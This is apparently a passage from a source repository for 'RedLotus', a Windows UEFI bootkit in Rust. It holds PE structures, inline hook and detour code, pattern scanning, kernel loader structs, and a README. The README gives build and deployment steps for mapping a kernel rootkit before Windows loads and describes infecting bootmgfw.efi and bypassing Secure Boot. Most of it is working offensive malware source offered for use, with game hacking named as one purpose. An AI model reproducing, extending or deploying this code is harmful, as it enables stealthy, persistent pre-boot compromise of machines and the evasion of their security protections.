| pub SizeOfOptionalHeader: u16, 77 | pub Characteristics: IMAGE_FILE_CHARACTERISTICS, 78 | } 79 | 80 | #[repr(C)] 81 | pub struct IMAGE_SECTION_HEADER { 82 | pub Name: [u8; 8], 83 | pub Misc: IMAGE_SECTION_HEADER_0, 84 | pub VirtualAddress: u32, 85 | pub SizeOfRawData: u32, 86 | pub PointerToRawData: u32, 87 | pub PointerToRelocations: u32, 88 | pub PointerToLinenumbers: u32, 89 | pub NumberOfRelocations: u16, 90 | pub NumberOfLinenumbers: u16, 91 | pub Characteristics: IMAGE_SECTION_CHARACTERISTICS, 92 | } 93 | 94 | #[repr(C)] 95 | pub union IMAGE_SECTION_HEADER_0 { 96 | pub PhysicalAddress: u32, 97 | pub VirtualSize: u32, 98 | } 99 | 100 | #[repr(C, packed(4))] 101 | pub struct IMAGE_OPTIONAL_HEADER64 { 102 | pub Magic: IMAGE_OPTIONAL_HEADER_MAGIC, 103 | pub MajorLinkerVersion: u8, 104 | pub MinorLinkerVersion: u8, 105 | pub SizeOfCode: u32, 106 | pub SizeOfInitializedData: u32, 107 | pub SizeOfUninitializedData: u32, 108 | pub AddressOfEntryPoint: u32, 109 | pub BaseOfCode: u32, 110 | pub ImageBase: u64, 111 | pub SectionAlignment: u32, 112 | pub FileAlignment: u32, 113 | pub MajorOperatingSystemVersion: u16, 114 | pub MinorOperatingSystemVersion: u16, 115 | pub MajorImageVersion: u16, 116 | pub MinorImageVersion: u16, 117 | pub MajorSubsystemVersion: u16, 118 | pub MinorSubsystemVersion: u16, 119 | pub Win32VersionValue: u32, 120 | pub SizeOfImage: u32, 121 | pub SizeOfHeaders: u32, 122 | pub CheckSum: u32, 123 | pub Subsystem: IMAGE_SUBSYSTEM, 124 | pub DllCharacteristics: IMAGE_DLL_CHARACTERISTICS, 125 | pub SizeOfStackReserve: u64, 126 | pub SizeOfStackCommit: u64, 127 | pub SizeOfHeapReserve: u64, 128 | pub SizeOfHeapCommit: u64, 129 | pub LoaderFlags: u32, 130 | pub NumberOfRvaAndSizes: u32, 131 | pub DataDirectory: [IMAGE_DATA_DIRECTORY; 16], 132 | } 133 | 134 | #[repr(C)] 135 | pub struct IMAGE_DATA_DIRECTORY { 136 | pub VirtualAddress: u32, 137 | pub Size: u32, 138 | } 139 | 140 | #[repr(C)] 141 | pub struct IMAGE_EXPORT_DIRECTORY { 142 | pub Characteristics: u32, 143 | pub TimeDateStamp: u32, 144 | pub MajorVersion: u16, 145 | pub MinorVersion: u16, 146 | pub Name: u32, 147 | pub Base: u32, 148 | pub NumberOfFunctions: u32, 149 | pub NumberOfNames: u32, 150 | pub AddressOfFunctions: u32, 151 | pub AddressOfNames: u32, 152 | pub AddressOfNameOrdinals: u32, 153 | } 154 | 155 | #[repr(C)] 156 | pub struct IMAGE_BASE_RELOCATION { 157 | pub VirtualAddress: u32, 158 | pub SizeOfBlock: u32, 159 | } 160 | 161 | #[repr(C)] 162 | pub struct IMAGE_IMPORT_DESCRIPTOR { 163 | pub Anonymous: IMAGE_IMPORT_DESCRIPTOR_0, 164 | pub TimeDateStamp: u32, 165 | pub ForwarderChain: u32, 166 | pub Name: u32, 167 | pub FirstThunk: u32, 168 | } 169 | 170 | #[repr(C)] 171 | pub union IMAGE_IMPORT_DESCRIPTOR_0 { 172 | pub Characteristics: u32, 173 | pub OriginalFirstThunk: u32, 174 | } 175 | 176 | #[repr(C)] 177 | pub struct IMAGE_THUNK_DATA64 { 178 | pub u1: IMAGE_THUNK_DATA64_0, 179 | } 180 | 181 | #[repr(C)] 182 | pub union IMAGE_THUNK_DATA64_0 { 183 | pub ForwarderString: u64, 184 | pub Function: u64, 185 | pub Ordinal: u64, 186 | pub AddressOfData: u64, 187 | } 188 | 189 | #[repr(C)] 190 | pub struct IMAGE_IMPORT_BY_NAME { 191 | pub Hint: u16, 192 | pub Name: [u8; 1], 193 | } 194 | -------------------------------------------------------------------------------- /bootkit/src/boot/pe.rs: -------------------------------------------------------------------------------- 1 | use core::ptr::copy_nonoverlapping; 2 | use core::slice::from_raw_parts; 3 | use uefi::prelude::BootServices; 4 | use uefi::proto::device_path::build::DevicePathBuilder; 5 | use uefi::proto::device_path::{build, DeviceSubType, DeviceType, LoadedImageDevicePath}; 6 | use uefi::table::boot::LoadImageSource; 7 | use uefi::{cstr16, Handle}; 8 | 9 | use alloc::vec::Vec; 10 | 11 | use super::includes::{_KLDR_DATA_TABLE_ENTRY, _LIST_ENTRY}; 12 | extern crate alloc; 13 | 14 | const JMP_SIZE: usize = 14; 15 | 16 | /// Load the Windows EFI Boot Manager from file path (\EFI\Microsoft\Boot\bootmgfw.efi) and return a handle to it 17 | pub fn load_windows_boot_manager(boot_services: &BootServices) -> uefi::Result { 18 | let loaded_image_device_path = boot_services 19 | .open_protocol_exclusive::(boot_services.image_handle())?; 20 | 21 | let mut storage = Vec::new(); 22 | let mut builder = DevicePathBuilder::with_vec(&mut storage); 23 | 24 | for node in loaded_image_device_path.node_iter() { 25 | if node.full_type() == (DeviceType::MEDIA, DeviceSubType::MEDIA_FILE_PATH) { 26 | break; 27 | } 28 | 29 | builder = builder.push(&node).unwrap(); 30 | } 31 | 32 | builder = builder 33 | .push(&build::media::FilePath { 34 | path_name: cstr16!(r"EFI\Microsoft\Boot\bootmgfw.efi"), 35 | }) 36 | .unwrap(); 37 | 38 | let new_image_path = builder.finalize().unwrap(); 39 | 40 | let new_image = boot_services.load_image( 41 | boot_services.image_handle(), 42 | LoadImageSource::FromFilePath { 43 | file_path: new_image_path, 44 | from_boot_manager: false, 45 | }, 46 | )?; 47 | 48 | return Ok(new_image); 49 | } 50 | 51 | pub unsafe fn get_loaded_module_by_hash( 52 | load_order_list_head: *mut _LIST_ENTRY, 53 | module_hash: u32, 54 | ) -> Option<*mut _KLDR_DATA_TABLE_ENTRY> { 55 | let mut list_entry = (*load_order_list_head).Flink; 56 | 57 | while list_entry != load_order_list_head { 58 | let entry = ((list_entry as usize) 59 | - core::mem::offset_of!(_KLDR_DATA_TABLE_ENTRY, InLoadOrderLinks)) 60 | as *mut _KLDR_DATA_TABLE_ENTRY; 61 | 62 | let dll_buffer_ptr = (*entry).BaseDllName.Buffer; 63 | let dll_length = (*entry).BaseDllName.Length as usize; 64 | let dll_name_slice = from_raw_parts(dll_buffer_ptr as *const u8, dll_length); 65 | 66 | if module_hash == dbj2_hash(dll_name_slice) { 67 | return Some(entry); 68 | } 69 | 70 | list_entry = (*list_entry).Flink; 71 | } 72 | 73 | None 74 | } 75 | 76 | /// Generate a unique hash 77 | pub fn dbj2_hash(buffer: &[u8]) -> u32 { 78 | let mut hsh: u32 = 5381; 79 | let mut iter: usize = 0; 80 | let mut cur: u8; 81 | 82 | while iter < buffer.len() { 83 | cur = buffer[iter]; 84 | if cur == 0 { 85 | iter += 1; 86 | continue; 87 | } 88 | if cur >= ('a' as u8) { 89 | cur -= 0x20; 90 | } 91 | hsh = ((hsh << 5).wrapping_add(hsh)) + cur as u32; 92 | iter += 1; 93 | } 94 | return hsh; 95 | } 96 | 97 | /// Creates a gateway to store the stolen bytes and the resume execution flow, then calls the detour function 98 | pub fn trampoline_hook64(src: *mut u8, dst: *mut u8, len: usize) -> Result<[u8; JMP_SIZE], ()> { 99 | // 5 bytes for x86 and 14 bytes for x86_64 100 | if len < JMP_SIZE { 101 | return Err(()); 102 | } 103 | 104 | // Location of stolen bytes and jmp back to original function right after hook to resume execution flow 105 | let mut gateway: [u8; JMP_SIZE] = [0; JMP_SIZE]; 106 | 107 | // Gateway: Store the bytes that are to be stolen in the gateway so we can resume execution flow and jump to them later 108 | unsafe { copy_nonoverlapping(src, gateway.as_mut_ptr(), len) }; 109 | 110 | // 14 bytes for x86_64 for the gateway 111 | let mut jmp_bytes: [u8; 14] = [ 112 | 0xFF, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 113 | ]; 114 | 115 | let jmp_bytes_ptr = jmp_bytes.as_mut_ptr(); 116 | 117 | // Populate jmp with an address to jump to: jmp 118 | unsafe { 119 | copy_nonoverlapping( 120 | ((&((src as usize) + len)) as *const usize) as *mut u8, 121 | jmp_bytes_ptr.offset(6), 122 | 8, 123 | ) 124 | }; 125 | 126 | // Gateway: Write a jmp at the end of the gateway (after the restoring stolen bytes), to the address of the instruction after the hook to resume execution flow 127 | unsafe { 128 | copy_nonoverlapping( 129 | jmp_bytes_ptr, 130 | ((gateway.as_mut_ptr() as usize) + len) as *mut u8, 131 | jmp_bytes.len(), 132 | ) 133 | }; 134 | 135 | // Perform the actual hook 136 | detour64(src, dst, len)?; 137 | 138 | //return the gateway 139 | 140 | Ok(gateway) 141 | } 142 | 143 | /// Performs a detour or hook, from source to the destination function. 144 | fn detour64(src: *mut u8, dst: *mut u8, len: usize) -> Result<(), ()> { 145 | // 5 bytes for x86 and 14 bytes for x86_64 146 | if len < JMP_SIZE { 147 | return Err(()); 148 | } 149 | 150 | // 14 bytes for x86_64 for the inline hook 151 | let mut jmp_bytes: [u8; 14] = [ 152 | 0xFF, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 153 | ]; 154 | 155 | let jmp_bytes_ptr = jmp_bytes.as_mut_ptr(); 156 | 157 | // Populate jmp array with the address of our detour function: jmp 158 | unsafe { 159 | copy_nonoverlapping( 160 | (&(dst as usize) as *const usize) as *mut u8, 161 | jmp_bytes_ptr.offset(6), 162 | 8, 163 | ) 164 | }; 165 | 166 | // Memory must be writable before hook 167 | 168 | // Hook the original function and place a jmp 169 | unsafe { 170 | copy_nonoverlapping(jmp_bytes_ptr, src, 14); 171 | } 172 | 173 | Ok(()) 174 | } 175 | 176 | /// Restore the stolen bytes by unhooking 177 | pub fn trampoline_unhook(src: *mut u8, original_bytes: *mut u8, len: usize) { 178 | unsafe { copy_nonoverlapping(original_bytes, src, len) }; 179 | } 180 | 181 | /// Convert a combo pattern to bytes without wildcards 182 | pub fn get_bytes_as_hex(pattern: &str) -> Result>, ()> { 183 | let mut pattern_bytes = Vec::new(); 184 | 185 | for x in pattern.split_whitespace() { 186 | match x { 187 | "?" => pattern_bytes.push(None), 188 | _ => pattern_bytes.push(u8::from_str_radix(x, 16).map(Some).map_err(|_| ())?), 189 | } 190 | } 191 | 192 | Ok(pattern_bytes) 193 | } 194 | 195 | /// Pattern or Signature scan a region of memory 196 | pub fn pattern_scan(data: &[u8], pattern: &str) -> Result, ()> { 197 | let pattern_bytes = get_bytes_as_hex(pattern)?; 198 | 199 | let offset = data.windows(pattern_bytes.len()).position(|window| { 200 | window 201 | .iter() 202 | .zip(&pattern_bytes) 203 | .all(|(byte, pattern_byte)| pattern_byte.map_or(true, |b| *byte == b)) 204 | }); 205 | 206 | Ok(offset) 207 | } 208 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Windows UEFI Bootkit in Rust (Codename: RedLotus) 2 | 3 | Windows UEFI bootkit in Rust for manually mapping a [Windows kernel rootkit](https://github.com/memN0ps/rootkit-rs) or [Windows blue-pill hypervisor](https://github.com/memN0ps/hypervisor-rs) using a UEFI runtime driver (`EFI_RUNTIME_DRIVER`) similar to [umap by @btbd](https://github.com/btbd/umap/). 4 | 5 | This project is inspired by the following: 6 | 7 | - Umap: https://github.com/btbd/umap/ (This project has been ported from C to Rust) 8 | - Bootlicker: https://github.com/realoriginal/bootlicker 9 | - BlackLotus: https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/ 10 | - ESPecter: https://www.welivesecurity.com/2021/10/05/uefi-threats-moving-esp-introducing-especter-bootkit/ 11 | - UEFI-Bootkit: https://github.com/ajkhoury/UEFI-Bootkit/ 12 | - EfiGuard: https://github.com/Mattiwatti/EfiGuard 13 | - Bootkitting Windows Sandbox: https://secret.club/2022/08/29/bootkitting-windows-sandbox.html 14 | - Rootkits and Bootkits: https://nostarch.com/rootkits 15 | 16 | ## Features 17 | 18 | - Manually Maps a Windows kernel driver before `ntoskrnl.exe` is loaded (Driver Signature Enforcement (DSE) is not disabled and Windows Defender's drivers are not patched) 19 | - TODO: refactor/neaten code and implement better error handling and make stable 20 | 21 | ## Description 22 | 23 | A bootkit can run code before the operating system and potentially inject malicious code into the kernel or load a malicious kernel driver by infecting the boot process and taking over the system's firmware or bootloader, effectively disabling or bypassing security protections. This tool can be used for game hacking and is a side project for those interested in fun, learning, malware research, and spreading security awareness. It also demonstrates that Rust can handle both low-level and high-level tasks. It's important to recognize the potential of Rust and not underestimate its power. 24 | 25 | The image below shows how Legacy and UEFI boot works. 26 | 27 | ![Legacy-and-UEFI-Boot](/images/Legacy-and-UEFI-Boot.png) 28 | **Figure 1. Comparison of the Legacy Boot flow (left) and UEFI boot flow (right) on Windows (Vista and newer) systems (Full Credits: [WeLiveSecurity](https://www.welivesecurity.com/2021/10/05/uefi-threats-moving-esp-introducing-especter-bootkit/))** 29 | 30 | This diagram illustrates the structure and flow of the RedLotus.efi UEFI bootkit (RedLotus.sys is the Windows kernel driver) 31 | 32 | ```mermaid 33 | graph TD; 34 | R["RedLotus.efi bootkit runtime driver (EFI_RUNTIME_DRIVER)"] -->|Hooks| A["ImgArchStartBootApplication (bootmgfw.efi)"]; 35 | A["ImgArchStartBootApplication (bootmgfw.efi)"] -->|Hooks| B["BlImgAllocateImageBuffer (winload.efi)"]; 36 | B -->|Allocates Buffer| G[RedLotus.sys]; 37 | A -->|Hooks| C["OslFwpKernelSetupPhase1 (winload.efi)"]; 38 | C -->|Calls| D[Manual Mapper]; 39 | D -->|Maps | G[RedLotus.sys] 40 | C -->|Hooks| E[Disk.sys]; 41 | E -->|Calls| G[RedLotus.sys]; 42 | G -->|Restores| E; 43 | ``` 44 | 45 | 46 | ## Install 47 | 48 | ### [Install Rust](https://www.rust-lang.org/tools/install) 49 | 50 | To start using Rust, [download the installer](https://www.rust-lang.org/tools/install), then run the program and follow the onscreen instructions. You may need to install the [Visual Studio C++ Build tools](https://visualstudio.microsoft.com/visual-cpp-build-tools/) when prompted to do so. 51 | 52 | 53 | ### [Install and change to Rust nightly](https://rust-lang.github.io/rustup/concepts/channels.html) 54 | 55 | ``` 56 | rustup toolchain install nightly 57 | rustup default nightly 58 | ``` 59 | 60 | ### [Install cargo-make](https://github.com/sagiegurari/cargo-make) 61 | 62 | ``` 63 | cargo install cargo-make 64 | ``` 65 | 66 | ### [Install WDK/SDK](https://docs.microsoft.com/en-us/windows-hardware/drivers/download-the-wdk) 67 | 68 | * Step 1: Install Visual Studio 2022 69 | * Step 2: Install Windows 11, version 22H2 SDK 70 | * Step 3: Install Windows 11, version 22H2 WDK 71 | 72 | ## Build 73 | 74 | Change directory to `.\driver\` and build driver 75 | 76 | ``` 77 | cargo make sign 78 | ``` 79 | 80 | Change directory to `.\bootkit\` and build bootkit 81 | 82 | ``` 83 | cargo build --target x86_64-unknown-uefi --release 84 | ``` 85 | 86 | ## Usage 87 | 88 | A UEFI Bootkit works under one or more of the following conditions: 89 | 90 | - Secure Boot is disabled on the machine, so no vulnerabilities are required to exploit it (**supported by this project**). 91 | 92 | - Exploiting a known flaw in the UEFI firmware to disable Secure Boot in the case of an out-of-date firmware version or a product no longer supported, including the Bring Your Own Vulnerable Binary (BYOVB) technique to bring copies of vulnerable binaries to the machines to exploit a vulnerability or vulnerabilities and bypass Secure Boot on up-to-date UEFI systems (1-day/one-day). 93 | 94 | - Exploiting an unspecified flaw in the UEFI firmware to disable Secure Boot (0-day/zero-day vulnerability). 95 | 96 | ### Usage 1: Infect Windows Boot Manager `bootmgfw.efi` on Disk (Unsupported) 97 | 98 | Typically UEFI Bootkits infect the Windows Boot Manager `bootmgfw.efi` located in EFI partition `\EFI\Microsoft\Boot\bootmgfw.efi` (`C:\Windows\Boot\EFI\bootmgfw.efi`. Modification of the bootloader includes adding a new section called `.efi` to the Windows Boot Manager `bootmgfw.efi`, and changing the executable's entry point address so program flow jumps to the beginning of the added section as shown below: 99 | 100 | - Convert bootkit to position-independent code (PIC) or shellcode 101 | - Find `bootmgfw.efi` (Windows Boot Manager) located in EFI partition `\EFI\Microsoft\Boot\bootmgfw.efi` 102 | - Add `.efi` section to `bootmgfw.efi` (Windows Boot Manager) 103 | - Inject or copy bootkit shellcode to the `.efi` section in `bootmgfw.efi` (Windows Boot Manager) 104 | - Change entry point of the `bootmgfw.efi` (Windows Boot Manager) to newly added `.efi` section bootkit shellcode 105 | - Reboot 106 | 107 | ### Usage 2: Execute UEFI Bootkit via UEFI Shell (Supported) 108 | 109 | Download [EDK2 efi shell](https://github.com/tianocore/edk2/releases) or [UEFI-Shell](https://github.com/pbatard/UEFI-Shell/releases) and follow these steps: 110 | 111 | 1. Extract downloaded efi shell and rename file `Shell.efi` (should be in folder `UefiShell/X64`) to `bootx64.efi` 112 | 113 | 2. Format USB drive to FAT32 114 | 115 | 3. Create following folder structure: 116 | 117 | ``` 118 | USB:. 119 | │ redlotus.efi 120 | │ 121 | └───EFI 122 | └───Boot 123 | bootx64.efi 124 | ``` 125 | 126 | 4. Boot from the USB drive 127 | 128 | 4.1. The following is required for VMware Workstation: 129 | 130 | * VMware Workstation: `VM -> Settings -> Hardware -> Add -> Hard Disk -> Next -> SCSI or NVMe (Recommended) -> Next -> Use a physical disk (for advanced users) -> Next -> Device: PhysicalDrive1 and Usage: Use entire disk -> Next -> Finish.` 131 | 132 | * Start VM by clicking `Power On to Firmware` 133 | 134 | * Select Internal Shell (Unsupported option) or EFI Vmware Virtual SCSI Hard Drive (1.0) 135 | 136 | 5. A UEFI shell should start, change directory to the same location as the Windows Boot Manager (e.g. `FS0`). **Note that the file system could be different for your machine** 137 | 138 | ``` 139 | FS0: 140 | ``` 141 | 142 | 6. Copy the bootkit to the same location as the Windows Boot Manager (e.g. `FS0`). 143 | 144 | ``` 145 | cp fs2:redlotus.efi fs0: 146 | ``` 147 | 148 | 7. Load the the bootkit 149 | 150 | ``` 151 | load redlotus.efi 152 | ``` 153 | 154 | 8. Windows should boot automatically. 155 | 156 | ## Example of PoC 157 | 158 | `UEFI Shell` 159 | 160 | ![poc_uefi.png](./images/poc_uefi.png) 161 | 162 | Tested on `Microsoft Windows 10 Home 10.0.19045 N/A Build 19045`: 163 | 164 | ![poc_win10.png](./images/poc_win10.png) 165 | 166 | Tested on `Microsoft Windows 11 Home 10.0.22621 N/A Build 22621` 167 | 168 | ![poc_win11.png](./images/poc_win11.png) 169 | 170 | Note: You may have to change the signature of the hooked `bootmgfw.efi` and `winload.efi` functions depending on your Windows build and version. 171 | 172 | 173 | ## Credits / References / Thanks / Motivation 174 | 175 | * BTBD: https://github.com/btbd/umap/ 176 | 177 | * Austin Hudson: https://github.com/realoriginal/bootlicker 178 | 179 | * Thanks for all the help: inlineHookz (smoke/snow/never_unsealed): https://twitter.com/never_unsealed 180 | 181 | * Rust Community Discord: https://discord.com/invite/rust-lang (#windows-dev channel PeterRabbit, MaulingMonkey etc..) 182 | 183 | * Aidan Khoury: https://github.com/ajkhoury/UEFI-Bootkit/ 184 | 185 | * Matthijs Lavrijsen: https://github.com/Mattiwatti/EfiGuard 186 | 187 | * Welivesecurity: https://www.welivesecurity.com/2021/10/05/uefi-threats-moving-esp-introducing-especter-bootkit/ 188 | 189 | * Welivesecurity: https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/ 190 | 191 | * MrExodia: https://secret.club/2022/08/29/bootkitting-windows-sandbox.html 192 | 193 | * Samuel Tulach: https://github.com/SamuelTulach/rainbow 194 | 195 | * UnknownCheats: https://www.unknowncheats.me/forum/anti-cheat-bypass/452202-rainbow-efi-bootkit-hwid-spoofer-smbios-disk-nic.html 196 | 197 | * ekknod: https://github.com/ekknod/sumap/ 198 | 199 | * Cr4sh: https://github.com/Cr4sh/s6_pcie_microblaze/tree/master/python/payloads/DmaBackdoorBoot 200 | 201 | * Alex Matrosov: Rootkits and Bootkits: https://nostarch.com/rootkits by [Alex Matrosov](https://twitter.com/matrosov) 202 | 203 | * Binarly: https://www.binarly.io/posts/The_Untold_Story_of_the_BlackLotus_UEFI_Bootkit/index.html 204 | 205 | * rust-osdev: https://github.com/rust-osdev/uefi-rs 206 | 207 | * rust-osdev: https://github.com/rust-osdev/bootloader 208 | 209 | * rust-osdev: https://crates.io/crates/uefi 210 | 211 | * rust-osdev: https://docs.rs/uefi/latest/ 212 | 213 | * rust-osdev: https://rust-osdev.github.io/uefi-rs/HEAD/ 214 | 215 | * https://learn.microsoft.com/en-us/windows-hardware/manufacture/desktop/bcd-system-store-settings-for-uefi?view=windows-11 216 | 217 | * https://developer.microsoft.com/en-us/windows/downloads/virtual-machines/ 218 | 219 | * https://github.com/LongSoft/UEFITool 220 | 221 | * https://github.com/tianocore/edk2 222 | 223 | * https://github.com/pbatard/UEFI-Shell 224 | 225 | * https://securelist.com/cosmicstrand-uefi-firmware-rootkit/106973/ 226 | 227 | * https://wikileaks.org/ciav7p1/cms/page_36896783.html 228 | 229 | * https://github.com/nix-community/lanzaboote/ 230 | 231 | * https://github.com/lyricalsoul/genie/ 232 | 233 | * https://github.com/pfnsec/uefi-bin-enum/ 234 | 235 | * https://github.com/coreos/picker 236 | 237 | * https://github.com/mikroskeem/apple-set-os/ 238 | 239 | * https://github.com/Justfr33z/trampoline/ 240 | 241 | * https://github.com/kweatherman/sigmakerex 242 | 243 | * https://guidedhacking.com/threads/external-internal-pattern-scanning-guide.14112/ 244 | 245 | * https://guidedhacking.com/resources/guided-hacking-x64-cheat-engine-sigmaker-plugin-ce-7-2.319/ 246 | 247 | * https://github.com/frk1/hazedumper-rs/ 248 | 249 | * https://github.com/Jakobzs/patternscanner/ 250 | 251 | * https://github.com/pseuxide/toy-arms/ 252 | 253 | * https://uefi.org/specs/UEFI/2.10/index.html 254 | 255 | * https://github.com/x1tan/rust-uefi-runtime-driver/ 256 | 257 | * https://github.com/tandasat/MiniVisorPkg/blob/master/Docs/Building_and_Debugging.md 258 | 259 | * https://xitan.me/posts/rust-uefi-runtime-driver/ 260 | 261 | * https://github.com/tandasat/MiniVisorPkg/blob/master/Docs/Testing_UEFI_on_Hyper-V.md 262 | 263 | * https://www.intel.com/content/www/us/en/download/674520/intel-uefi-development-kit-intel-udk-debugger-tool-windows.html 264 | 265 | * https://doxygen.reactos.org/ 266 | 267 | * https://www.vergiliusproject.com/ 268 | 269 | * thanks [jonaslyk](https://twitter.com/jonasLyk) for providing the correct function signature for `BlImgAllocateImageBuffer` :) 270 | -------------------------------------------------------------------------------- /bootkit/src/boot/includes.rs: -------------------------------------------------------------------------------- 1 | #![allow(non_camel_case_types)] 2 | #![allow(non_snake_case)] 3 | #![allow(dead_code)] 4 | //Credit: https://www.vergiliusproject.com/kernels/x64/Windows%2011/22H2%20(2022%20Update)/_LOADER_PARAMETER_BLOCK 5 | // Some of these structs could be incorrect but most are correct. 6 | 7 | use core::ffi::c_void; 8 | 9 | //0x10 bytes (sizeof) 10 | #[repr(C)] 11 | #[derive(Clone, Copy)] 12 | pub struct _LIST_ENTRY { 13 | pub Flink: *mut _LIST_ENTRY, //0x0 14 | pub Blink: *mut _LIST_ENTRY, //0x8 15 | } 16 | 17 | //0x48 bytes (sizeof) 18 | #[repr(C)] 19 | pub struct _CONFIGURATION_COMPONENT_DATA { 20 | pub Parent: *mut _CONFIGURATION_COMPONENT_DATA, //0x0 21 | pub Child: *mut _CONFIGURATION_COMPONENT_DATA, //0x8 22 | pub Sibling: *mut _CONFIGURATION_COMPONENT_DATA, //0x10 23 | pub ComponentEntry: _CONFIGURATION_COMPONENT, //0x18 24 | pub ConfigurationData: *mut u8, //0x40 25 | } 26 | 27 | //0x28 bytes (sizeof) 28 | #[repr(C)] 29 | pub struct _CONFIGURATION_COMPONENT { 30 | Class: _CONFIGURATION_CLASS, // 0x0 31 | Type: _CONFIGURATION_TYPE, // 0x4 32 | Flags: _DEVICE_FLAGS, // 0x8 33 | Version: u16, // 0xc 34 | Revision: u16, // 0xe 35 | Key: u32, // 0x10 36 | AffinityMask: _CONFIGURATION_AFFINITY_MASK, // 0x14 37 | ConfigurationDataLength: u32, // 0x18 38 | IdentifierLength: u32, // 0x1c 39 | Identifier: *const i8, // 0x20 40 | } 41 | 42 | //0x4 bytes (sizeof) 43 | #[repr(C)] 44 | union _CONFIGURATION_AFFINITY_MASK { 45 | pub AffinityMask: u32, 46 | pub Group: u16, 47 | pub GroupIndex: u16, 48 | } 49 | 50 | //0x4 bytes (sizeof) 51 | #[repr(u32)] 52 | pub enum _CONFIGURATION_CLASS { 53 | SystemClass = 0, 54 | ProcessorClass = 1, 55 | CacheClass = 2, 56 | AdapterClass = 3, 57 | ControllerClass = 4, 58 | PeripheralClass = 5, 59 | MemoryClass = 6, 60 | MaximumClass = 7, 61 | } 62 | 63 | //0x4 bytes (sizeof) 64 | #[repr(u32)] 65 | pub enum _CONFIGURATION_TYPE { 66 | ArcSystem = 0, 67 | CentralProcessor = 1, 68 | FloatingPointProcessor = 2, 69 | PrimaryIcache = 3, 70 | PrimaryDcache = 4, 71 | SecondaryIcache = 5, 72 | SecondaryDcache = 6, 73 | SecondaryCache = 7, 74 | EisaAdapter = 8, 75 | TcAdapter = 9, 76 | ScsiAdapter = 10, 77 | DtiAdapter = 11, 78 | MultiFunctionAdapter = 12, 79 | DiskController = 13, 80 | TapeController = 14, 81 | CdromController = 15, 82 | WormController = 16, 83 | SerialController = 17, 84 | NetworkController = 18, 85 | DisplayController = 19, 86 | ParallelController = 20, 87 | PointerController = 21, 88 | KeyboardController = 22, 89 | AudioController = 23, 90 | OtherController = 24, 91 | DiskPeripheral = 25, 92 | FloppyDiskPeripheral = 26, 93 | TapePeripheral = 27, 94 | ModemPeripheral = 28, 95 | MonitorPeripheral = 29, 96 | PrinterPeripheral = 30, 97 | PointerPeripheral = 31, 98 | KeyboardPeripheral = 32, 99 | TerminalPeripheral = 33, 100 | OtherPeripheral = 34, 101 | LinePeripheral = 35, 102 | NetworkPeripheral = 36, 103 | SystemMemory = 37, 104 | DockingInformation = 38, 105 | RealModeIrqRoutingTable = 39, 106 | RealModePCIEnumeration = 40, 107 | MaximumType = 41, 108 | } 109 | 110 | #[repr(C)] 111 | struct _DEVICE_FLAGS { 112 | pub Flags: u32, // 0x0 113 | } 114 | 115 | impl _DEVICE_FLAGS { 116 | const FAILED: u32 = 0x1; 117 | const READ_ONLY: u32 = 0x2; 118 | const REMOVABLE: u32 = 0x4; 119 | const CONSOLE_IN: u32 = 0x8; 120 | const CONSOLE_OUT: u32 = 0x10; 121 | const INPUT: u32 = 0x20; 122 | const OUTPUT: u32 = 0x40; 123 | 124 | pub fn is_failed(&self) -> bool { 125 | self.Flags & Self::FAILED != 0 126 | } 127 | 128 | pub fn is_read_only(&self) -> bool { 129 | self.Flags & Self::READ_ONLY != 0 130 | } 131 | 132 | pub fn is_removable(&self) -> bool { 133 | self.Flags & Self::REMOVABLE != 0 134 | } 135 | 136 | pub fn is_console_in(&self) -> bool { 137 | self.Flags & Self::CONSOLE_IN != 0 138 | } 139 | 140 | pub fn is_console_out(&self) -> bool { 141 | self.Flags & Self::CONSOLE_OUT != 0 142 | } 143 | 144 | pub fn is_input(&self) -> bool { 145 | self.Flags & Self::INPUT != 0 146 | } 147 | 148 | pub fn is_output(&self) -> bool { 149 | self.Flags & Self::OUTPUT != 0 150 | } 151 | } 152 | 153 | //0x18 bytes (sizeof) 154 | #[repr(C)] 155 | pub struct _NLS_DATA_BLOCK { 156 | pub AnsiCodePageData: *mut u8, // 0x0 157 | pub OemCodePageData: *mut u8, // 0x8 158 | pub UnicodeCaseTableData: *mut u8, // 0x10 159 | } 160 | 161 | //0x10 bytes (sizeof) 162 | #[repr(C)] 163 | pub struct _ARC_DISK_INFORMATION { 164 | pub DiskSignatures: _LIST_ENTRY, // 0x0 165 | } 166 | 167 | // 0x14 bytes (sizeof) 168 | #[repr(C)] 169 | pub struct _LOADER_BLOCK { 170 | pub I386: Option<_I386_LOADER_BLOCK>, // x86 specific loader block 171 | pub Arm: Option<_ARM_LOADER_BLOCK>, // ARM specific loader block 172 | } 173 | 174 | // 0x10 bytes (sizeof) 175 | #[repr(C)] 176 | pub struct _I386_LOADER_BLOCK { 177 | pub CommonDataArea: *mut c_void, // Pointer to common data area 178 | pub MachineType: u32, // Machine type 179 | pub VirtualBias: u32, // Virtual bias 180 | } 181 | 182 | // 0x4 bytes (sizeof) 183 | #[repr(C)] 184 | pub struct _ARM_LOADER_BLOCK { 185 | pub PlaceHolder: u32, // Placeholder 186 | } 187 | 188 | // 0x40 bytes (sizeof) 189 | #[repr(C)] 190 | pub struct _FIRMWARE_INFORMATION_LOADER_BLOCK { 191 | pub FirmwareTypeUefi: u32, // UEFI firmware type 192 | pub EfiRuntimeUseIum: u32, // EFI runtime use IUM 193 | pub EfiRuntimePageProtectionSupported: u32, // EFI runtime page protection supported 194 | pub Reserved: u32, // Reserved 195 | pub u: _FIRMWARE_INFORMATION_LOADER_BLOCK_Union, // Union for firmware information 196 | } 197 | 198 | #[repr(C)] 199 | pub struct _FIRMWARE_INFORMATION_LOADER_BLOCK_Union { 200 | pub EfiInformation: _EFI_FIRMWARE_INFORMATION, // EFI firmware information 201 | pub PcatInformation: _PCAT_FIRMWARE_INFORMATION, // PCAT firmware information 202 | } 203 | 204 | // 0x38 bytes (sizeof) 205 | #[repr(C)] 206 | pub struct _EFI_FIRMWARE_INFORMATION { 207 | pub FirmwareVersion: u32, // Firmware version 208 | pub VirtualEfiRuntimeServices: *mut _VIRTUAL_EFI_RUNTIME_SERVICES, // Pointer to virtual EFI runtime services 209 | pub SetVirtualAddressMapStatus: i32, // 